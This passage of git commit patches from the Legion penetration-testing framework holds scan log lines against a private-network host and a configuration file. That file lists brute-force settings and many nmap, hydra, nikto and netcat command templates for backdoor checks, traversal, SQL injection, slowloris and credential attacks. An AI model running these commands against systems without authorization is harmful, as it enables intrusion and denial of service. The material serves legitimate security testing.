"legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:05,892", "name": "Waiting 0.82s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:06,729", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:06,737", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131105879222-nmapstage5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:06,776", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:06,778", "name": "Waiting 0.92s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:07,719", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:07,721", "name": "runCommand called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:07,722", "name": "runCommand connected for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:11:07,728", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:11:07,784", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:11:07,785", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:11:07,786", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:11:08,600", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:08,601", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:08,884", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:11,599", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:11,601", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:12,324", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:16,443", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:16,445", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:16,701", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:16,708", "name": "Process 10 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:11:16,716", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:16,717", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:16,718", "name": "Waiting 0.56s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:17,294", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:17,296", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:18,692", "name": "Killing process: 16146", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} -{"time": "2019-02-26 13:11:18,702", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:18,707", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:19,376", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:19,424", "name": "Process 11 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} -{"time": "2019-02-26 13:11:19,425", "name": "Process 11 Output: \n\tStarting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 13:11 Central Standard Time", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} -{"time": "2019-02-26 13:11:19,428", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:19,429", "name": "Waiting 0.61s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:20,059", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:20,066", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:20,067", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:20,069", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:20,905", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:20,907", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:20,909", "name": "runStagedNmap called for stage 6", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:11:22,093", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:22,094", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:22,527", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:34,706", "name": "Killing process: 16113", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} -{"time": "2019-02-26 13:11:34,709", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:34,710", "name": "Waiting 0.11s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:34,841", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:34,908", "name": "Process 9 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} -{"time": "2019-02-26 13:11:34,909", "name": "Process 9 Output: \n\t- Nikto v2.1.5---------------------------------------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} -{"time": "2019-02-26 13:11:34,912", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:34,913", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:35,432", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:35,438", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:35,439", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:35,440", "name": "Waiting 0.36s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:35,818", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:35,820", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:14:00,341", "name": "Settings have NOT been changed.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 117}} -{"time": "2019-02-26 13:14:00,349", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:14:00,350", "name": "Waiting 0.02s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:14:00,395", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:14:00,413", "name": "Exiting application..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "view", "filename": "view.py", "line": 493}} diff --git a/ui/view.py b/ui/view.py index 4f910e5c..cf9fe971 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1066,7 +1066,9 @@ def updateCvesByHostView(self, hostIP): cves = self.controller.getCvesFromDB(hostIP) self.CvesTableModel = CvesTableModel(self,self.controller.getCvesFromDB(hostIP), headers) - self.ui.CvesTableView.horizontalHeader().resizeSection(4,200) + self.ui.CvesTableView.horizontalHeader().resizeSection(0,175) + self.ui.CvesTableView.horizontalHeader().resizeSection(2,200) + self.ui.CvesTableView.horizontalHeader().resizeSection(4,250) self.ui.CvesTableView.setModel(self.CvesTableModel) self.ui.CvesTableView.repaint() From a14a8a5301c35ef7f37c5e9574b79a8862952121 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 13:43:39 -0600 Subject: [PATCH 156/450] CVE column updates --- controller/controller.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/controller.py b/controller/controller.py index 4baf1309..4450984c 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.2' - self.build = '1551210176' + self.build = '1551210212' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] From 720f8bf1adcde324a83b507b3e04298c9fd2bc77 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 14:41:52 -0600 Subject: [PATCH 157/450] Add handeler for hydra v8.7+ non-zero exit codes --- backup/20190226144051898815-legion.conf | 317 ++++++++++++++++++++++++ controller/controller.py | 13 +- legion.conf | 2 +- 3 files changed, 324 insertions(+), 8 deletions(-) create mode 100644 backup/20190226144051898815-legion.conf diff --git a/backup/20190226144051898815-legion.conf b/backup/20190226144051898815-legion.conf new file mode 100644 index 00000000..2e00f030 --- /dev/null +++ b/backup/20190226144051898815-legion.conf @@ -0,0 +1,317 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" +process-tab-detail=False + +[GeneralSettings] +default-terminal=gnome-terminal +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" 